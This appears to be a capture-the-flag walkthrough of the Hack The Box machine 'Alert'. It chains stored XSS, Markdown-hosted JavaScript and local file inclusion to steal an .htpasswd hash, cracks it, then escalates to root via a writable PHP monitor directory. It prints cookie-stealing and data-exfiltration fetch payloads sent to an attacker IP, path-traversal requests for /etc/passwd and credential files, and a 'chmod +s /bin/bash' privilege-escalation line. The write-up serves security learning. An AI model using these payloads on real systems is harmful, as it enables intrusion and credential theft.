RECON
Nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
| 256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_ 256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://alert.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
12227/tcp filtered unknown
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Domain: http://alert.htb
Impression
When visiting http://alert.htb/
, we are redirected to http://alert.htb/index.php?page=alert
. This reveals an app called Markdown Viewer, which allows file uploads for review:

It sends a POST request via /visualizer.php
to the Apache Ubuntu server:

And we can click the "Share Markdown" button to retrieve the URL of uploaded file:

We can also send a message to the server. After message successfully sent, it redirects us to:

Another API for submitting a POST request to the page
paramter under /index.php
:

Dirsearch
Perform directory enumeration:
dirsearch -t 50 -e php -u 'http://alert.htb/'

We discovered a new path, /message
, which responds with an HTTP 301 Moved Permanently. However, visiting the redirected URL results in a 403 Forbidden status:

Run the bypass-403
script we see two potential ways for HTTP status 200:

Only the 2nd one works, indicating a new endpoint discovered, but it provides no additional context:

Subdomain
Look for subdomains:
ffuf -c -w ~/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u "http://alert.htb" -H "HOST: FUZZ.alert.htb" -fc 301

Accessing http://statistics.alert.htb
prompts for credentials, requiring BASIC authentication via a GET request:

The authentication token is formatted as <username>:<password>
and is Base64 encoded.
Albert
XSS
XSS | Visualizer.php
If we upload a Markdown file contains XSS payload, like
<script>alert("Axura");</script>
It triggers when we open and view the uploaded file:

Remeber we can share this file via a shared link, which makes this a horrible vulnerability if deployed in a real-world environment.
XSS | Contact.php
A simple test on the /contact.php
endpoint, we can identify stored XSS vulnerability:

Then we can try stealing cookies from the back end:
<script>fetch('http://10.10.▒▒.▒▒?cookie=' + document.cookie);</script>

document.cookie
was not accessible (e.g., due to HttpOnly
or Secure
flags). And the response contains ULR encoded single quote '
(%27
), again. It could be the server is filtering by HTML entity encoding (also called HTML escaping). This encoding is used to represent special characters in HTML using entity codes to prevent them from being interpreted as part of the HTML structure.
XSS | POC
This insight shows that the application cannot request files served on our HTTP server due to incorrect path handling, but it does parse the URL correctly.
To exploit this, we need to use resources that it can parse—a URL without special characters. In a real-world scenario, a Short-URL service could be leveraged to bypass this limitation, but HTB machines are isolated from the Internet.
From our recon, we know that Markdown files can be uploaded and shared, generating a link that directly includes the .md
file. This allows us to create a malicious Markdown file, resp.md
, with the following JavaScript payload:
<script>
fetch("http://alert.htb/")
.then(response => response.text())
.then(data => {
fetch("http://10.10.▒▒.▒▒/?data=" + encodeURIComponent(data));
})
.catch(error => console.error("Error fetching messages:", error));
</script>
Upload it to the server and we can retrieve a link from the same domain, like http://alert.htb/visualizer.php?link_share=6744316302b853.90078336.md, which looks empty in the browser:

But if we look into the source code, we can discover our malicious MD is embedded:

Input the link as the script source to the XSS primitive via /contact.php
:
<script src="http://alert.htb/visualizer.php?link_share=6744316302b853.90078336.md"></script>
It is now able to trigger our JavaScript payload:

LFI
LFI | Messages.php
Remember the /messages.php
endpoint discovered during recon, which responds with a 200 status but no content. This likely indicates insufficient permissions to access the API. Using the XSS primitive, we can now test this endpoint by uploading a messages.md
file with the following payload:
<script>
fetch("http://alert.htb/messages.php")
.then(response => response.text())
.then(data => {
fetch("http://10.10.▒▒.▒▒/?data=" + encodeURIComponent(data));
})
.catch(error => console.error("Error fetching messages:", error));
</script>
This time, we receive a non-empty response, confirming our assumption. The response reveals the file
parameter for the /messages.php
endpoint and exposes some sensitive files:

Now, we can test the /messages.php
API for an LFI vulnerability by using the parameter file=../../../../etc/passwd
:

Bingo. And we discover two valid users, Albert and David.
Apache2 | 000-default.conf
Regarding another attack surface, http://statistics.alert.htb
, we haven't yet discovered the credentials required for BASIC authentication. Knowing it's an Apache2 server running on Ubuntu, we can target the .htpasswd
file, which stores credentials for Basic Authentication.
To locate this file, we first retrieve Apache's configuration (000-default.conf
) by injecting a new payload into messages.md
:
<script>
fetch("http://alert.htb/messages.php?file=../../../../etc/apache2/sites-enabled/000-default.conf")
.then(response => response.text())
.then(data => {
fetch("http://10.10.16.16/?data=" + encodeURIComponent(data));
})
.catch(error => console.error("Error fetching messages:", error));
</script>
After retrieving the shared link, we trigger it using the XSS primitive. The response can then be decoded, revealing the content of Apache's configuration file:
<pre><VirtualHost *:80>
ServerName alert.htb
DocumentRoot /var/www/alert.htb
<Directory /var/www/alert.htb>
Options FollowSymLinks MultiViews
AllowOverride All
</Directory>
RewriteEngine On
RewriteCond %{HTTP_HOST} !^alert\.htb$
RewriteCond %{HTTP_HOST} !^$
RewriteRule ^/?(.*)$ http://alert.htb/$1 [R=301,L]
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
<VirtualHost *:80>
ServerName statistics.alert.htb
DocumentRoot /var/www/statistics.alert.htb
<Directory /var/www/statistics.alert.htb>
Options FollowSymLinks MultiViews
AllowOverride All
</Directory>
<Directory /var/www/statistics.alert.htb>
Options Indexes FollowSymLinks MultiViews
AllowOverride All
AuthType Basic
AuthName "Restricted Area"
AuthUserFile /var/www/statistics.alert.htb/.htpasswd
Require valid-user
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
</pre>
The Apache configuration defines two virtual hosts for the server, one for alert.htb
and another for statistics.alert.htb
.
- For
alert.htb
:DocumentRoot
: The website files are located in the/var/www/alert.htb
directory.AllowOverride All
: It allows.htaccess
files to override Apache directives.
- For
statistic.alert.htb
:DocumentRoot
: The website files for this domain are located in/var/www/statistics.alert.htb
.AuthType Basic
: Implements Basic Authentication, requiring a username and password for access.AuthName "Restricted Area"
: Displays "Restricted Area" in the authentication prompt.AuthUserFile /var/www/statistics.alert.htb/.htpasswd
:- Specifies the
.htpasswd
file that contains credentials for Basic Authentication.
- Specifies the
Apache2 | .htpasswd
Therefore, we can access the file .htpasswd
via LFI, retrieving and potentially crack the credentials:
<script>
fetch("http://alert.htb/messages.php?file=../../../../var/www/statistics.alert.htb/.htpasswd")
.then(response => response.text())
.then(data => {
fetch("http://10.10.▒▒.▒▒/?data=" + encodeURIComponent(data));
})
.catch(error => console.error("Error fetching the messages:", error));
</script>
Fire the modified and uploaded messages.md
with the LFI primitive again. Upon retrieving the response, decode it to reveal its content:
<pre>albert:$apr1$bMoRBJOg$igG8WBtQ1xYD▒▒▒▒▒▒▒▒▒▒
</pre>
Apache2 | Md5apr1
Identify the hash type with hashcat --identify
:

Apache $apr1$
MD5 hash is a modified version of the MD5 hashing algorithm, specifically implemented by Apache for password storage in .htpasswd
files. Structure of the Hash:
$apr1$<salt>$<hash>
$apr1$
: Prefix indicating the hash is an Apache MD5 hash.<salt>
: A random string used to make the hash unique, preventing precomputed attacks like rainbow tables.<hash>
: The resulting MD5-based hash of the password combined with the salt.
Use Hashcat with mode 1600
and a dictionary of possible passwords:
hashcat -m 1600 -a 0 <hashfile> <wordlist>
SSH login with Albert's credentials and take the user flag:

Root
Enum
Enumerate the machine with Linpeas. We identify port 8080 listening on localhost:

Some other hashes found and cracked:
username:$apr1$1f5oQUl4$21lLXSN7xQOPtNsj5s4Nk/ (password)
username:$apr1$uUMsOjCQ$.BzXClI/B/vZKddgIAJCR. (foo)
username:digest anon:25e4077a9344ceb1a88f2a62c9fb60d8
anonymous:digest anon:faa4e5870970cf935bb9674776e6b26a
username:digest private area:fad48d3a7c63f61b5b3567a4105bbb04
username:digest private area:fad48d3a7c63f61b5b3567a4105bbb04
username:wrongrelm:99cd340e1283c6d0ab34734bd47bdc30

Files in /opt/website-monitor/
appears to be a monitor or configuration file for the web app:

They are newly modified:

A keybox file is stored with public keys managed by GnuPG under path /home/albert/.gnupg/pubring.kbx
, which could reveal public keys associated with albert
. And the /home/albert/.gnupg/trustdb.gpg
file stores trust information about the keys in the keyring, which provides insights into the user's network of trusted parties.
Run ps axu
, we discover user Root is running the monitor PHP app:

Monitor
Overview
The app under /opt
appears to be a monitor over the websites:

The README.md
file just indicates how it works:
...
To automate your monitoring, you can add something like this to your crontab:
```
* * * * * /usr/bin/php -f /path/to/monitor.php >/dev/null 2>&1
```
You can display a specific message for each monitored resource by creating a Markdown file in the `updates` directory that uses the same display name for the resource (and has a `.md` extension). For example, if you want to display some text near the `example.com` resource, you’d add a file called `example.com.md` within the `updates` directory.
You can display various incident messages by placing a Markdown file in the `incidents` directory. By default, any file there will be treated as an informational message (shown in gray). If you prepend `alert_` in the file name, the message will be treated as an alert (shown in red). And if you prepend `notice_`, it’ll be treated as a notice (shown in yellow).
This project uses [Parsedown](https://parsedown.org), a truly excellent Markdown rendering tool.
monitors/
Directory: Writable by PHP.updates/
Directory: Markdown Files for Resource Messages.incidents/
Directory: Markdown Files for Incident Messages.- Use of Parsedown: A Markdown renderer converts
.md
files into HTML for display, potentially vulnerable to SSTI. - Automation via
crontab
: The application runs themonitor.php
script periodically using a cron job. But we don't have write access on this file.
I believe there're plenty of ways to exploit this vulnerable program.
Code Review
Take a look at monitor.php
, which is is the core of the Website Monitor application, and run by root on port 8080:
<?php
/*
Website Monitor
===============
Hello! This is the monitor script, which does the actual monitoring of websites
stored in monitors.json.
You can run this manually, but it’s probably better if you use a cron job.
Here’s an example of a crontab entry that will run it every minute:
* * * * * /usr/bin/php -f /path/to/monitor.php >/dev/null 2>&1
*/
include('config/configuration.php');
$monitors = json_decode(file_get_contents(PATH.'/monitors.json'));
foreach($monitors as $name => $url) {
$response_data = array();
$timestamp = time();
$response_data[$timestamp]['timestamp'] = $timestamp;
$curl = curl_init($url);
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_HEADER, true);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($curl);
if(curl_exec($curl) === false) {
$response_data[$timestamp]['error'] = curl_error($curl);
}
else {
$info = curl_getinfo($curl);
$http_code = $info['http_code'];
$ms = $info['total_time_us'] / 1000;
$response_data[$timestamp]['time'] = $ms;
$response_data[$timestamp]['response'] = $http_code;
}
curl_close($curl);
if(file_exists(PATH.'/monitors/'.$name)) {
$data = json_decode(file_get_contents(PATH.'/monitors/'.$name), TRUE);
}
else {
$data = array();
}
$data = array_merge($data, $response_data);
$data = array_slice($data, -60);
file_put_contents(PATH.'/monitors/'.$name, json_encode($data, JSON_PRETTY_PRINT));
}
Inclusion of configuration.php
:
include('config/configuration.php');
- If
configuration.php
is writable or improperly secured, it could be modified to include malicious code.
Reading monitors.json
:
$monitors = json_decode(file_get_contents(PATH.'/monitors.json'));
- If this file is writable, we can inject arbitrary URLs (e.g.,
http://malicious-server.com
) or local file paths (e.g.,file:///etc/passwd
).
HTTP Requests with cURL:
$curl = curl_init($url);
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_HEADER, true);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($curl);
- If an we control the URLs in
monitors.json
, we could:- Send malicious payloads to the server.
- Cause the server to make SSRF (Server-Side Request Forgery) requests to internal or external resources.
Logging Responses:
file_put_contents(PATH.'/monitors/'.$name, json_encode($data, JSON_PRETTY_PRINT));
- The HTTP response data is logged to files in the
monitors/
directory.
Data Truncation:
$data = array_slice($data, -60);
- The script keeps the latest 60 records for each monitor.
Exploit
Check file permissions:

The config
directory is writable by users in the management
group, and Albert happens to be a member of this group:
albert@alert:/opt/website-monitor$ id
uid=1000(albert) gid=1000(albert) groups=1000(albert),1001(management)
Since monitor.php
includes config/configuration.php
, the content of this configuration file is:
<?php
define('PATH', '/opt/website-monitor');
?>
Although we cannot modify configuration.php
directly—likely due to an automated script run by root that restores it to its original state—it still defines the PATH
for the entire monitor application. Leveraging this, we can create a malicious PHP file in one of the writable directories specified in the PATH
. This would allow us to execute arbitrary code at the back end:
<?php exec("chmod +s /bin/bash"); ?>
Simply use curl
to trigger the malicious PHP file and verify the result:

Run bash -p
and Rooted:

Comments | NOTHING